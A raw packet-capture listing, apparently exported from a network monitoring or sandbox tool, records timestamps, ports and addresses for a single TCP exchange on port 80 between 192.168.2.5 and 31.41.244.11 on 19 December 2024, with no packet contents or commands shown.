Dec 19, 2024 03:09:11.680092096 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.680150032 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.680198908 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.680253029 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.681071997 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.681123018 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.681185961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.681241035 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.682061911 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.682120085 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.682154894 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.682213068 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.683049917 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.683108091 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.683161974 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.683218002 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.684010983 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.684109926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.684119940 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.684168100 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.684988976 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.685045004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.685101986 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.685161114 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.685957909 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.686014891 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.686080933 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.686136007 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.686928988 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.686984062 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.687047005 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.687107086 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.687942028 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.688000917 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.688062906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.688119888 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.688908100 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.688985109 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.689023018 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.689073086 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.689913034 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.689964056 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.690027952 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.690078974 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.690850019 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.690900087 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.690964937 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.691016912 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.691842079 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.691893101 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.691963911 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.692014933 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.692815065 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.692867994 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.692917109 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.692964077 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.693789005 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.693840981 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.693893909 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.693949938 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.695061922 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.695112944 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.695417881 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.695468903 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.695782900 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.695830107 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.695894003 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.695943117 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.696722031 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.696773052 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.696839094 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.696888924 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.697717905 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.697772980 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.697833061 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.697885990 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.698683977 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.698735952 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.698822021 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.698868990 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.699697018 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.699748993 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.699811935 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.699862957 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.700661898 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.700715065 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.700772047 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.700823069 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.701630116 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.701695919 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.701735973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.701786041 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.702611923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.702681065 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.702734947 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.702790976 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.703602076 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.703664064 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.703730106 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.703783035 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.704554081 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.704658031 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.704664946 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.704720020 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.705547094 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.705610991 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.705668926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.705720901 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.706545115 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.706604004 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.706641912 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.706696033 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.707508087 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.707566023 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.707607985 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.707659960 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.708489895 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.708550930 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.708600998 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.708653927 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.709464073 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.709528923 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.709594965 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.709649086 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.710447073 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.710500956 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.710555077 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.710599899 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.711415052 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.711467981 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.711549997 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.711601973 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.712393045 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.712445974 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.712511063 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.712563038 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.713382006 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.713443995 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.713511944 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.713572025 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.714349031 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.714401960 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.714483976 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.714536905 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.715358973 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.715415955 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.715473890 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.715528011 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.716308117 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.716365099 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.716443062 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.716495991 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.717303038 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.717359066 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.717422009 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.717473984 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.718270063 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.718333006 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.718391895 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.718444109 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.719221115 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.719273090 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.719372034 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.719422102 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.720226049 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.720287085 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.720335007 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.720387936 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.721215010 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.721266985 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.721343994 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.721398115 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.722218037 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.722270012 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.722300053 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.722348928 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.723145008 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.723210096 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.723269939 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.723325014 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.724164963 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.724221945 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.724260092 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.724314928 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.725075006 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.725132942 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.866058111 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.866137028 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.866188049 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.866205931 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.866458893 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.866517067 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.866647959 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.866703033 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.867414951 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.867469072 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.867533922 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.867592096 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.868386984 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.868439913 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.868495941 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.868546963 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.869365931 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.869421005 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.869524002 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.869586945 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.870357037 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.870412111 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.870461941 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.870513916 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.871345997 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.871402025 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.871438026 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.871493101 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.872302055 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.872360945 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.872404099 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.872457027 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.873292923 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.873347044 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.873390913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.873446941 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.874272108 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.874326944 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.874370098 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.874424934 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.875257969 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.875315905 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.875356913 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.875410080 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.876220942 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.876298904 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.876347065 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.876405001 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.877229929 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.877289057 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.877352953 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.877409935 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.878207922 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.878269911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.878330946 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.878382921 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.879184961 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.879240990 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.879291058 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.879349947 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.880173922 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.880228043 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.880295992 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.880348921 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.881158113 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.881217003 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.881310940 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.881370068 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.882117033 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.882177114 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.882255077 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.882314920 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.883124113 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.883184910 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.883235931 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.883292913 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.884077072 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.884135962 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.884198904 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.884257078 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.885077953 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.885138988 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.885204077 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.885262966 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.886035919 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.886095047 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.886157990 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.886217117 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.887023926 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.887082100 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.887134075 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.887191057 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.888027906 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.888087034 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.888127089 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.888185024 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.888968945 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.889023066 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.889101982 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.889159918 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.889955044 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.890012980 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.890089989 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.890146017 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.890949011 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.891005039 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.891067982 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.891120911 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.891932964 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.891992092 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.892056942 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.892211914 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.892909050 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.892971039 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.893007994 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.893065929 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.893876076 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.893934965 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.894000053 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.894057989 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.894841909 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.894900084 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.894965887 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.895025015 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.895858049 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.895917892 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.895965099 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.896023035 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.896805048 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.896908998 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.896951914 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.897011042 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.897789955 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.897860050 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.897917032 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.897977114 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.898793936 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.898853064 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.898937941 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.898993969 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.899765015 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.899823904 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.899890900 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.899945021 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.900727987 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.900784016 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.900860071 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.900918961 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.901701927 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.901762009 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.901829958 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.901887894 CET	49835	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:11.902693987 CET	80	49835	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:11.902751923 CET	49835	80	192.168.2.5	31.41.244.11
